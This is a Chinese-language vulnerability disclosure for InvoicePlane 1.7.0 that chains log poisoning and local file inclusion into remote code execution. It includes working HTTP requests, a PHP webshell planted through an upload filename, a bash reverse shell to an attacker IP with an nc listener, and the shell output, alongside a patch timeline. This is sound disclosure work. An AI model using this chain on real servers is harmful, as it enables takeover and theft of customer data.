InvoicePlane 1.7.0 中存在一个严重的漏洞链,允许已认证的管理员在底层服务器上实现远程代码执行(RCE)。该攻击结合了两个弱点:
.php 日志文件中,从而允许注入任意 PHP 代码。当两者结合时,拥有管理员权限的攻击者可以以 Web 服务器用户的身份完全控制服务器。最终的 RCE 触发是无需认证的(公共发票 URL)。
| 属性 | 值 |
|---|---|
| 文件 | application/modules/guest/controllers/View.php |
| 行号 | 85、191 |
| 参数 | public_invoice_template(数据库设置) |
| CWE | CWE-98:对 Include/Require 语句的文件名控制不当 |
漏洞代码(View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
漏洞代码(View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
public_invoice_template 和 public_quote_template 设置从数据库中检索,并直接拼接为文件路径传递给 CodeIgniter 的 load->view()(该函数最终解析为 PHP 的 include())。没有任何验证来:
../)管理员可以将此值设置为文件系统上的任意路径,仅受自动追加的 .php 扩展名限制。
| 属性 | 值 |
|---|---|
| 文件 | application/modules/upload/controllers/Upload.php |
| 行号 | 178–184 |
| 参数 | 上传文件名(HTTP multipart 表单数据) |
| CWE | CWE-117:日志输出中和不当 |
漏洞代码(Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
当文件名触发路径遍历检查时,原始、未经净化的文件名会被直接写入日志文件。CodeIgniter 日志文件:
.php 扩展名:application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> 开头攻击者在文件名中嵌入 <?php system($_GET[1]); ?> 会导致该载荷被写入日志,随后通过 LFI 被执行。
[已认证用户] → 上传恶意文件名 → PHP 被注入日志文件
[管理员] → 设置模板设置 → LFI 指向日志文件
[任何人] → 访问公共发票 URL → RCE
| 步骤 | 要求 |
|---|---|
| 日志投毒 | 具有上传权限的已认证用户 |
| LFI 配置 | 管理员账户 |
| RCE 触发 | 无需认证(公共发票 URL) |
发送一个文件上传请求,文件名中嵌入 PHP webshell。路径遍历检查将被触发,并将原始文件名(包括 PHP 载荷)写入日志文件。
请求(通过 Burp Suite):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
服务器会拒绝上传(upload_error_invalid_extension),但日志条目已被写入:
application/logs/log-2026-01-31.php 中的结果:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
导航到发票的附件部分,点击添加文件即可到达上传端点。



作为管理员,使用路径遍历载荷将 public_invoice_template 设置指向当天的日志文件。CodeIgniter 的视图加载器会自动追加 .php。
请求(通过 Burp Suite):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
遍历路径从 application/views/invoice_templates/public/ 向上解析到 application/logs/,然后包含 log-2026-01-31.php。

访问任意公共发票 URL,并通过 1 GET 参数传递命令。无需任何认证。
请求:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
响应(页面源码中):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
system($_GET[1]) 载荷执行了 id 命令,其输出被内联反映在页面中。

将命令替换为 bash 反弹 shell 载荷以获得交互式 shell:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
在攻击者机器上:
nc -lnvp 4444
结果:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
以 www-data 身份获得完整交互式 shell。

| 维度 | 评级 | 详情 |
|---|---|---|
| 机密性 | 高 | 可完全读取 Web 服务器用户可访问的所有文件,包括数据库凭据和客户发票数据 |
| 完整性 | 高 | 任意文件写入、数据库修改、Web shell 安装 |
| 可用性 | 高 | 拒绝服务、勒索软件部署、系统破坏 |
| 文件 | 漏洞 |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — 发票模板 |
application/modules/guest/controllers/View.php:191 | LFI — 报价模板 |
application/modules/upload/controllers/Upload.php:182 | 日志投毒 |
application/modules/settings/controllers/Settings.php | 模板设置无验证 |
| 日期 | 事件 |
|---|---|
| 2026-01-30 | 发现漏洞 |
| 2026-01-31 | 开发概念验证 |
| 2026-01-31 | 通知厂商 |
| 2026-02-03 | 厂商确认 |
| 2026-02-03 | 发布补丁 |
| 2026-02-04 | 公开披露 |
该漏洞是在独立安全研究过程中发现的。所有信息仅用于教育、研究和防御目的,以帮助厂商和安全社区理解和修复该问题。严禁将本信息用于任何恶意用途。